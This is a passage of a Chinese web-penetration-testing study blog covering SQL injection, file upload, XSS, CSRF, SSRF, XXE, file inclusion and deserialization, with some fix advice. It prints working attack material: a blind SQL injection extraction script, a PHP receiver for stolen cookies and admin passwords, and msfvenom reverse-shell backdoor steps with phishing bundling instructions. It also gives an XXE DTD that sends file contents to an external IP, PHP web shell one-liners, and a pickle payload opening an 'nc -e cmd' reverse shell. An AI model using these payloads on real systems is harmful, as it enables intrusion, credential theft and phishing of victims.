        data_register = {"email": f"a{i}@163.com",
                 "username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;", "password": "1"}
        data_login = {"email": f"a{i}@163.com", "password": "1"}
        response_regiseter = requests.post(url1, data=data_register)
        response_login = requests.post(url2, data=data_login)
        bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  # 取该属性的数字
        flag += chr(int(number))
        print(flag)

flag()

DNSlog注入

语句举例:select load_file(concat(‘//’,(select database()),’.je5i3a.dnslog.cn/1.txt’));

第十天:WEB攻防-文件上传漏洞

  • 检测层面:前端检测,后端检测
  • 检测内容:文件头(加个GIF89a),完整性,二次渲染
  • 检测后缀:黑名单,白名单,MIME检测
  • 绕过技巧:多后缀名解析(php3,php5,phtml),截断,中间件特性(解析漏洞),条件竞争

JS验证+MIME

JS验证+user.ini(PHP)

JS验证+user.ini+短标签

  • <? echo ‘123’;?> //前提是开启参数short_open_tags=on
  • <?=(表达式)?> //不需要开启参数设置
  • <% echo ‘123’;%> //前提是开启配置参数asp_tags=on
  • <script language=”php”>echo ‘1’</script> //不需要修改参数开关

.htaccess

二次渲染

参考文章:文件上传之二次渲染绕过_二次渲染绕过怎么操作-CSDN博客

  • 判断上传前和上传后的文件大小及内容
  • 判断上传后的文件返回数据包内容

png二次渲染

jpg二次渲染

  1. 先上传a.jpg正常,下载回来命名为b.png,发现已被渲染
  2. 用b.png配合脚本生成带后门代码图片c.png后再上传

中间件文件解析-IIS&Apache&Nginx

IIS 6.0-7.X

  • 文件名解析漏洞:x.asp;.x.jpg
  • 目录名解析漏洞:x.asp/x.jpg
  • IIS7.x与Nginx解析漏洞一致

Apache

  • 换行解析漏洞:CVE-2017-15715(x.php%0a)
  • .htaccess配置不当:AddHandler application/x-httpd-php .php(php会解析1.php.png文件)

Nginx

  • 文件名逻辑漏洞:CVE-2013-4547(文件名后缀后面加个空格x.jpg%20%00.php)
  • nginx.conf配置不当;该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞:x.jpg/*.php

WEB应用编辑器安全

CMS实例漏洞挖掘

  • 个人用户中心是否存在文件上传功能(头像、文章)
  • 后台管理系统是否存在文件上传功能(图库、文章)
  • 字典目录扫描探针文件上传构造地址
  • 字典目录扫描探针编辑器目录构造地址
  • 中间件直接看语言环境常见搭配
  • 编辑器直接看目录结构或搜索关键字
  • 功能代码直接看源码应用或搜索关键字

FineCMS-代码常规-处理逻辑

CuppaCMS-中间件-.htaccess

Metinfo-编辑器引用-第三方安全

第十一天:WEB攻防-XSS漏洞

XSS:Cross Site Scripting跨站脚本漏洞

  • GET、POST、headers(UA头)
  • 反馈与浏览
  • 富文本编辑器
  • 各类标签插入和自定义
  • 用户资料
  • 关键词、标签、说明
  • 文件上传

发现存在XSS漏洞就可以进一步利用beef-xss或XSS平台:https://xss.pt/xss.php

反射型XSS

$code=$_GET['test'];
echo $code."<br>";

存储型XSS

DOM型XSS

<div class = "page-content">
    <div id = "xssd_main">
        <script>
            function domxss(){
                var str = document.getElementById("text").value;
                document.getElementById("dom").innerHTML="<a href='"+str+"'>what do you see?</a>
            }
                //试试:'><img src="#" onerror="alert('xss')">利用图片路径错误调用报错处理从而触发alert函数
                //试试:' onclick="alert('xss')">闭合掉原本的符号
        </script>
        <input id="text" name="text" type="text" value="" />
        <input id="button" type="button" value="click me!" oneclick="domxss()"/>
        <div id="dom"></div>
    </div>
</div>

mXSS(突变型)

UXSS(通用型)

Flash XSS

PDF XSS

UTF-7 XSS

  • meta未指定编码,特定版本IE发现内容存在UTF-7编码内容会自动以UTF-7解码处理
  • 指定编码为UTF-7

MHTML XSS

CSS XSS

<style>
    body {width:expression(alert(1));:red;}
</style>

VBScript XSS

<input type="button" onclick'"VBScript:Document.Write 'You Have Been Hacked'

MsgBox 'xss'">

XSS另类攻击手法

后台植入Cookie&表单劫持(权限维持)

  1. 写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持
  2. 若存在同源策略或防护情况,Cookie获取失败(或不全),则可采用表单劫持或数据明文传输:$up=<script src=”[发送到攻击机网站的url]/get.php?user=’.$admin_name.’&password=’.$admin_password.'”></script>;echo $up;然后在攻击机网站的get.php下写个代码接收得到的账户、密码
//get.php
<?php
$name = $_GET['user'];
$password = $_GET['password'];
$myfile = fopen("newfile.txt","w");
fwrite($myfile,$name);
fwrite($myfile,'|');
fwrite($myfile,$password);
fwrite($myfile,'\n');
fclose($myfile);
?>

Flash钓鱼配合MSF捆绑上线

  1. 生成后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f exe > flash.exe
  2. 做一个下载Flash文件的钓鱼网页同时要准备一个正常官方软件-保证安装正常
  3. 把后门和官方软件压缩捆绑成文件-设置解压解压后运行
  4. MSF配置监听状态
  5. 诱使受害者访问URL(电子取证检材弄来的传销话术有用力!)

浏览器网马配合MSF访问上线

  1. 配置MSF生成URL:use exploit/windows/browser/ms14_064_ole_code_execution;set allowpowershellprompt true;set target 1;run
  2. 诱使受害者访问URL

XSS过滤绕过

相关文章:XSS总结 – 先知社区 (aliyun.com)

<?php
$cookie=$_GET['Miku'];
$myfile=fopen("cookie.txt","w+");
fwrite($myfile,$cookie);
fclose($myfile);
?>

反射型XSS过滤<script>

反射型XSS过滤<img>

反射型XSS过滤空格

存储型XSS思路

存储型COOKIE的凭据失效,需要一次性完成操作

存储型XSS配合CSRF修改密码

XSS修复与防御(PHP举例)

匹配、过滤一些危险字符以及转义一些危险字符(&<>”‘)

设置HTTP-only Cookie

设置CSP(Content Security Policy)

参考文章:Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_csp meta report url html-CSDN博客

设置输入内容的长度限制以及html实体转义

第十二天:WEB攻防-CSRF&SSRF

WEB攻防-CSRF漏洞

CSRF全称:Cross-site request forgery跨站请求伪造

  • 目标用户已经登录了网站且能够执行网站的功能
  • 目标用户访问了攻击者构造的URL
  • 检测是否验证请求来源Referer(同源策略)
  • 检测Cookie凭证是否有token
  • 检测关键操作是否有验证
  1. 获取目标关键操作的触发数据包
  2. 利用CSRFTester工具构造导出
  3. 诱使受害者访问特定地址触发

白盒审计

//上传一个php文件用于自动化伪造Referer(POST方法)
<?php
function send_post($url,$post_data){
    $postdata=http_build_query($post_data);
    $options=array(
        'http'=>array(
            'method'=>'POST',
            //重点是修改Referer
            'header'=>'Referer:http://localhost:8081/zblog/2.html',
            'content'=>$postdata,
            'timeout'=>15*60
        )
    );
    $context=stream_context_create($options);
    $result=file_get_contents($url,false,$context);
    return $result;
}
//使用方法
$post_data=array(
    'username'=>'Mikuhacker',
    'password'=>'nekoneko'
);
send_post('http://[url]:8081/zblog/zb_system/admin/index.php?act=MemberMng',$post_data);
?>

WEB攻防-SSRF漏洞

SSRF:Server-Side Request Forgery服务器端请求伪造

  • 服务扫描
  • 内网扫描
  • 协议利用
  • MSF利用(反弹shell)
  1. 社交分析功能:能获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:从远程地址获取图片
  5. 图片/文章收藏功能:可能从远程地址获取URL的Title以及文本内容
  6. 云服务厂商:会远程执行一些命令来判断网站是否存活,可以尝试捕获信息
  7. 网站采集、抓取:一些网站针对输入的url进行一些信息采集工作
  8. 数据库内置功能:例如mongodb的copyDatabase函数
  9. 邮件系统:接收邮件服务器地址
  10. 编码、属性信息、文件处理
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上关键字寻找SSRF漏洞:share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain
  12. 从远程服务器请求资源:upload from [url]如discuz,import&export rss feed;例如使用了xml引擎对象的地方-wordpress xmlrpc.php
  1. 功能点抓包指向代码块审计
  2. 功能点函数定位代码块审计
  • 禁用跳转
  • 禁用不需要的协议
  • 固定或限制资源地址
  • 错误信息统一信息处理

第十三天:WEB攻防-XML&XXE注入

参考文章:CTF XXE – MustaphaMond – 博客园 (cnblogs.com)

XML与HTML的主要差异:

  • XML被设计为传输和存储数据,其焦点是数据的内容
  • HTML被设计用来显示数据,其焦点是数据的外观
  • HTML旨在显示信息,而XML旨在传输信息

利用示例

读取文件:

<?xml version="1.0"?>
<!DOCTYPE Miku[
    <!ENTITY test SYSTEM "file:///d:/passwd.txt">
]>
<user><username>&test;</username><password>Miku</password></user>

带外测试,检测能否对外访问、加载(访问DNSlog留下记录):

<?xml version="1.0"?>
<!DOCTYPE test[
    <!ENTITY % file SYSTEM "http://[DNSurl].dnslog.cn">
    %file;
]>
<user><username>&send;</username><password>Miku</password></user>

外部引用实体DTD(解决拦截防护绕过问题):

<?xml version="1.0">
<!DOCTYPE test[
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil.dtd">
    %file;
]>
<user><username>&send;</username><password>Miku</password></user>

//evil.dtd
<!ENTITY send SYSTEM "file:///d:/passwd.txt">

利用参数传递解决无回显:

<?xml version="1.0">
<!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///d:/passwd.txt">
    <!ENTITY % remote SYSTEM "http://47.120.52.135/Miku.dtd"
    %remote;
    %all;
]>
<root>&send;</root>

//远程主机(攻击机)Miku.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.120.52.135/get.php?file=%file;'>">
//get.php进行数据接收和显示

还有其他利用协议的绕过方式,具体可用协议要看语言环境。

黑盒测试发现点:

  • 抓包得到Content-Type或数据类型为XML时,尝试XML-Payload测试
  • 不管获取的Content-Type或数据传输类型,均尝试修改后提交测试xxe
  • XXE不仅在数据传输上可能存在漏洞,在文件上传引用插件解析或预览也会造成文件中的XXE-Payload被执行

白盒测试:

  • 通过应用功能追踪代码定位审计
  • 通过脚本特定函数搜索定位审计(全局搜索XML解析函数)
  • 通过伪协议用法绕过相关修复防护

修复方法:

  • 禁用外部实体
  • 过滤用户提交的XML数据(关键字<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC)

第十四天:WEB攻防-文件包含漏洞

<?php
$file=$_GET['x'];
include($file);
?>

两种利用思路

  1. 配合文件上传:上传带有脚本后门代码的图片,包含图片触发后门
  2. 配合日志文件:伪造UA信息为后门代码,记录到日志文件,包含日志文件触发后门
  3. 配合会话文件:写入session一句话:<?php fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[‘shell’])?>’);?> //参考文章:session包含 – lnterpreter – 博客园 (cnblogs.com)
  4. 伪协议

php&http协议:

  • ?file=php://filter/read=convert.base64-encode/resource=flag.php //filter需要完整路径名。不能用*
  • ?file=php://input //在POST里写命令:<?php system(‘tac flag.php’);?>
  • ?file=http://mikuhacker.cn/test.txt //test.txt:<?php system(‘tac flag.php’);?>

data&http协议:

  • ?file=data://text/plain,<?=system(‘tac flag.*’);?>
  • ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
  • ?file=http://mikuhacker.cn/test.txt //test.txt:<?php system(‘tac flag.php’);?>

第十五天:WEB攻防-文件操作类安全

  • 文件下载:利用下载获取源码数据库配置文件及系统敏感文件为后续找思路
  • 文件读取:和文件下载利用方式类似
  • 文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装(例如删掉wordpress的wp-config.php会导致跳转到setup-config.php重新配置wordpress并生成新的wp-config.php)

白盒审计流程:

  • 文件下载:功能点抓包-寻找代码文件-寻找变量控制-构造Payload
  • 文件删除:特定函数搜索-寻找触发调用-构造Payload:/admin/admin_article.php?act=del_img&img=../../data/install.lock
  • 文件读取:特定函数搜索-寻找触发调用-构造Payload

黑盒探针:

  • URL参数名及参数值分析:参数名英文对应翻译,参数值对应目录或文件名
  • 功能点自行修改后分析:文件下载,删除,读取等

第十六天:WEB攻防-RCE

  • RCE代码执行:eval(‘phpinfo()’);引用脚本代码解析执行
  • RCE命令执行:system(‘ipconfig’);脚本调用操作系统命令

漏洞函数

白盒审计-PbootCMS-RCE

第十七天:WEB攻防-反序列化漏洞

PHP反序列化漏洞

<?php
class test{
    public $name='MikuHacker';
    public $age='Unknow';
}
$example=new test();//实体化example
$s=serialize($example);//将example序列化得到字符串$s
$u=unserialize($s);//将序列化字符串$s反序列化得到对象$u

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等结果。在反序列化时可能会自动触发对象中的一些魔术方法导致漏洞利用。

触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

  • __construct():当对象被创建时会被自动调用
  • __destruct():当对象被销毁时会被自动调用
  • __wakeup():调用unserialize()时会被自动调用
  • __invoke():尝试以调用函数的方法调用一个对象时,会被自动调用
  • __call():在对象上下文中调用不可访问的方法时触发
  • __callStatic():在静态上下文中调用不可访问的方法时触发
  • __get():用于从不可访问的属性中读取数据
  • __set():用于将数据写入不可访问的属性
  • __isset():在不可访问的属性上调用isset()或empty()时触发
  • __unset():在不可访问的属性上使用unset时触发,销毁对象的某个属性时会触发
  • __toString():把类当作字符串使用时触发
  • __sleep():调用serialize()函数时会检测类中是否存在__sleep()方法,若存在则会被优先调用

安全问题A:

<?php
class A{
    public $var='Hello World';
    public function test(){
        echo $this->var;
        echo '<br>';
    }
    public function __destruct(){
        echo 'UserName'.'<br>';
    }
    public function __construct(){
        echo 'PassWord'.'<br>';
    }
    public function __toString(){
        return 'No way to see'.'<br>';
    }
}
$t=unserialize($_GET['x']);
?>

构造POP链获取创建新对象的序列化字符串:

<?php
class A{
    public $var='Hello World';
    public function test(){
        echo $this->var;
        echo '<br>';
    }
    public function __destruct(){
        echo 'UserName'.'<br>';
    }
    public function __construct(){
        echo 'PassWord'.'<br>';
    }
    public function __toString(){
        return 'No way to see'.'<br>';
    }
}
$a=new A();//实体化,触发__construct
$a->test();//触发test
$b=serialize($a);//将实体对象序列化
echo $b;//打印出所需的Payload作为x值传入
?>

安全问题B(漏洞演示):

<?php
class B{
    public function __destruct(){
        system('ipconfig');
    }
    public function __construct(){
        echo 'MikuHacker'.'<br>';
    }
}
unserialize($_GET['x']);
?>
<?php
class C{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
    public function __construct(){
        echo 'MikuHacker'.'<br>';
    }
}
unserialize($_GET['x']);
?>
  • public(公共属性):在本类内部、外部类、子类都可以访问
  • protect(受保护的):只有本类或子类或父类中可以访问
  • private(私人的):只有本类内部可以使用
  • private属性序列化的时候格式是%00类名%00成员名(传入时要补上)
  • protect属性序列化的时候格式是%00*%00成员名(传入时要补上)
<?php
$classes=get_declared_classes();
foreach($classes as $class){
    $methods = get_class_methods($class);
    foreach($methods as $method){
        if(in_array($method,array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state',
        ))){
            print $class.'::'.$method."\n";
        }
    }
}
?>

Java反序化漏洞

数据出现点:

  • 功能特性:反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、DB存储等业务场景。审计过程中重点关注这些功能板块。
  • 数据特性:一段数据以rO0AB开头,则基本可以确定是Java序列化Base64加密的数据。或者以aced开头,则是一段Java序列化的16进制数据。
  • 出现具体:http参数、cookie、session的存储方式可能是Base64(rO0)、压缩后的Base64(H4s)、MII等

Python反序列化漏洞

函数引用:

  • pickle.dump(obj,file):将对象序列化后保存到文件
  • pickle.load(file):读取文件,将文件中的序列化内容反序列化为对象
  • pickle.dumps(obj):将对象序列化为字符串格式的字节流
  • pickle.loads(bytes_obj):将字符串格式的字节流反序列化为对象

魔术方法:

  • __reduce__():反序列化时调用
  • __reduce_ex__():反序列化时调用
  • __setstate__():反序列化时调用
  • __getstate__():序列化时调用

典型漏洞代码演示:

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"

Python的反序列化漏洞危害更大,因为若不对pickle.loads函数内传入的值做过滤,将可以直接构造函数利用来实现攻击。例如利用一段代码来构造要使用的序列化Payload:

class A(object):
    def __reduce__(self):
        return (os.system,('calc.exe'))
a = A()
aa = pickle.dumps(a)
p_a = base64.b64encode(aa).decode()
print(p_a)

得到的p_a就是要作为cookie中user值传入到目标的序列化Payload。将calc.exe换成其他语句例如反弹shell即可造成更大危害。(也可以直接构造请求包发送Payload):

class A(object):
    def __reduce__(self):
        return (os.system,('c:/nc -e cmd [攻击机ip] [攻击机监听端口]',))
a = A()
aa = pickle.dumps(a)
p_a = base64.b64encode(aa).decode()
print(p_a)

h = {
    'cookie':'user=' + p_a
}
request.get('[目标url]',headers=h)

可以使用Python源码自动化审计工具bandit进行代码审计找到可能存在的安全问题,参考官方Welcome to Bandit — Bandit documentation,安装命令:pip install bandit,使用方式:bandit -r [需审计的源码目录]。Linux下载在Python下的bin,Windows下载在当前Python下的script。

第十八天:WEB攻防-补充

CRLF注入漏洞

成因:WEB应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者在请求行或首部中的字段注入恶意的CRLF(换行符)后就能注入一些首部字段或报文主体,并在响应包中输出。也称为HTTP响应拆分漏洞。

检测方式:CRLF(换行符)Fuzz

URL重定向跳转

成因:

  • 开发时不考虑任意URL跳转的危害性
  • 开发时只用取子串、后缀等方法简单判断过滤,导致防护可被绕过
  • 对传入参数做一些操作(域名剪切、拼接、重组)和判断,导致可被绕过
  • 原始语言自带的解析URL、用于判断域名的函数库出现逻辑漏洞或特性导致可被绕过
  • 原始语言、服务器/容器特性、浏览器等对标准URL协议解析处理等差异性导致可被绕过

WEB拒绝服务(非DOS)

现在有许多资源是由服务器生成后返回给客户端,而此类“资源生成”接口如若有可控参数且没做资源生成大小限制,就会造成拒绝服务风险,导致服务器处理不过来或占用资源去处理。

跨域CORS资源

利用跨域的目的在于绕过同源策略实现交互。

CORS(Cross-Origin Resource Sharing)跨域资源共享,是Html5的一个特性,被所有浏览器支持,是一种放宽同源策略的机制,允许浏览器向跨源服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据。

Access-Control-Allow-Origin:指定哪些域可以访问域资源。

Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当设置为true时才会发送cookie。

Access-Control-Allow-Methods:指定可以使用哪些Http请求方法来访问资源。此标头允许开发者指定网站对外访问时哪些有效来进一步提高安全性。

可使用工具进行检测:GitHub – chenjj/CORScanner: 🎯 Fast CORS misconfiguration vulnerabilities scanner

JSONP回调

JSON跨域利用了script标签能跨域的特点,实现了json的跨域传输。

通过查看数据包哪里有回调,对回调里的敏感信息进行获取,从而间接获取本会被过滤防护的敏感信息。

可手动审查元素进行筛选或利用Burp插件:GitHub – p1g3/JSONP-Hunter: JSONP Hunter in burpsuite.

子域名接管劫持

域名解析记录指向域名,对应的主机指向了一个当前未在使用或已经删除(过期)的特定服务,攻击者通过注册指向的已过期域名,从而控制当前域名的控制权,实现恶意软件分发、钓鱼、XSS、身份验证绕过等。

可利用工具检测:GitHub – pwnesia/dnstake: DNSTake — A fast tool to check missing hosted DNS zones that can lead to subdomain takeover

欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next